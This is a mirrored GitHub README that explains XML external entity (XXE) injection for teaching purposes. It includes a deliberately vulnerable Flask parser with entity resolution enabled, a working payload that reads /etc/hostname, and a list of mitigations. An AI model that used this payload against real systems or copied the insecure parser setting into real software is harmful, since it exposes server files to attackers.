GithubHelp home page GithubHelp logo

qeeqbox / xxe-injection Goto Github PK

View Code? Open in Web Editor NEW
2.0 1.0 0.0 100 KB

A threat actor may interfere with an application's processing of extensible markup language (XML) data to view the content of a target's files

License: GNU Affero General Public License v3.0

metadata visualization xxe xee xml injection xxe-injection infosecsimplified qeeqbox vulnerability

xxe-injection's Introduction

A threat actor may interfere with an application's processing of extensible markup language (XML) data to view the content of a target's files

Example #1

  1. Threat actor sends a malicious request that contains a reference to an external entity (a system identifier)
  2. The target's XML processor replaces the external entity with the content dereferenced by the system identifier

Code

Target Logic

@app.route("/parse_xml",methods = ['POST'])
def parse_xml():
    parser = etree.XMLParser(resolve_entities=True)
    root = etree.fromstring(request.files['xml'].read(), parser)
    response = make_response(etree.tostring(root), 200)
    response.mimetype = "text/plain"
    return response

Target-in

<?xml version="1.0" encoding="UTF-8"?>
<getLastName>John01</getLastName>

Target-Out

Jone Doe

Target-in

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE malicious [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<getInfo>&xxe;</getInfo>

Target-Out

usystem01

Impact

High

Names

  • XXE injection
  • XEE injection
  • XML injection

Risk

  • Read data

Redemption

  • Secure processing
  • Disable DTD and XML external entity

ID

4b3566ce-3f7f-40d8-b882-09f59ca967b8

References

xxe-injection's People

Contributors

giga-a avatar

Stargazers

 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.